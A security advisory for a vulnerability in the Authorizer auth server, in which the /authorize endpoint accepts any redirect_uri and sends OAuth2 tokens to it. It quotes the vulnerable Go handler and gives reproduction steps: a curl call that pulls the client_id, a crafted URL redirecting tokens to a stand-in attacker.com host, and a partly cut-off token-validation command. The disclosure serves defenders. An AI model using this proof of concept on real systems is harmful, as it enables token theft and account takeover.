GHSA-h29v-hj44-q8cv: Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL
Summary
The /authorize endpoint accepts any redirect_uri without validating it against AllowedOrigins. When response_type=token or response_type=id_token, the server appends access_token, id_token, and refresh_token as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required client_id from the public /graphql?query={meta{client_id}} endpoint.
Partial fix was applied in v2.0.1 to other handlers (oauth_login, verify_email, magic_link_login, forgot_password, invite_members, oauth_callback) but /authorize was not included.
Vulnerable Code
internal/http_handlers/authorize.go:
redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
// ... no IsValidOrigin() call ...
// response_type=token path (line ~263):
if strings.Contains(redirectURI, "?") {
redirectURI = redirectURI + "&" + params
} else {
redirectURI = redirectURI + "?" + params
}
handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL
Compare with the fixed oauth_login.go in v2.0.1 which calls validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins).
Steps to Reproduce
1. Obtain client_id (no authentication required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")
echo "client_id: $CLIENT_ID"
2. Craft the malicious URL and send to victim (victim must be logged in)
When victim opens this URL, tokens are delivered to attacker.com
MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"
echo "Send to victim: $MALICIOUS_URL"
3. Attacker receives 302 redirect with all tokens:
https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...
4. Validate stolen token
curl -s http://TARGET/userinfo \
-H
Details
Original advisory: https://github.com/advisories/GHSA-h29v-hj44-q8cv
Referenced CVEs
| CVE | CSIRTS overview | External |
|---|---|---|
| CVE-2026-54072 | coverage & exploitation status | NVD · CVE.org |
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